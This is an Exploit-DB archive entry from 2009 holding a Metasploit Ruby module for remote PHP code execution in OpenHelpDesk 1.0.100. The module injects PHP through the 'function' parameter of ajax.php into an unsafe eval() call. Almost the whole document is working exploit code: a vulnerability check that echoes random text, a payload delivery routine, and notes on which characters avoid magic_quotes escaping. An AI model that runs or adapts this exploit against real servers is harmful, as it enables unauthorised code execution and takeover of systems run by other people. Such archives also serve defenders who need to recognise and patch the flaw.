OpenHelpDesk 1.0.100 - 'eval()' Code Execution (Metasploit)

EDB-ID:

7949

CVE:

N/A

Author:

LSO

Type:

webapps

Platform:

PHP

Published:

2009-02-02

##
# $Id: php_eval.rb 5783 2008-10-23 02:43:21Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'OpenHelpDesk eval (previously unpublished)',
			'Description'    => %q{
				OpenHelpDesk version 1.0.100 is vulnerable to a php code
				execution vulnerability due to improper use of eval().
				The php.ini register_globals directive is *not* required to be
				on to exploit this vulnerability.  There is no known public
				exploit for this vulnerability.
			},
			'Author'         => [ 'LSO <lso@hushmail.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [ 'URL' , 'http://sourceforge.net/projects/openhelpdesk' ],
			'Privileged'     => false,
			'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
			'Payload'        => 
				{
					'Space'       => 4000,  # max url length for some old
											# versions of apache according to
											# http://www.boutell.com/newfaq/misc/urllength.html
					'DisableNops' => true,
					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget' => 0
			))

		register_options(
			[
				OptString.new('URIPATH',   [ true,  "The URI of ajax.php ", '/openhelpdesk/ajax.php']),
			], self.class)
	
	end

	def check
		tester = rand_text_alpha(10)
		php_code = "echo('#{tester}');"

		response = eval_sploit(php_code)

		#print_status(response)
		if (response && response.body.match(tester).to_a.first)
			print_status("PHP code execution achieved; safe_mode or disable_functions might still prevent host compromise")
			checkcode = Exploit::CheckCode::Vulnerable
		else
			checkcode = Exploit::CheckCode::Safe
		end
		return checkcode
	end

	def exploit
		response = eval_sploit(payload.encoded)

		handler
	end

	def eval_sploit(php_code)
		uri  = datastore['URIPATH'] + "?function=" + php_code + "//"
		response = send_request_raw({ 'uri' => uri },1)
		return response
	end
end

# milw0rm.com [2009-02-02]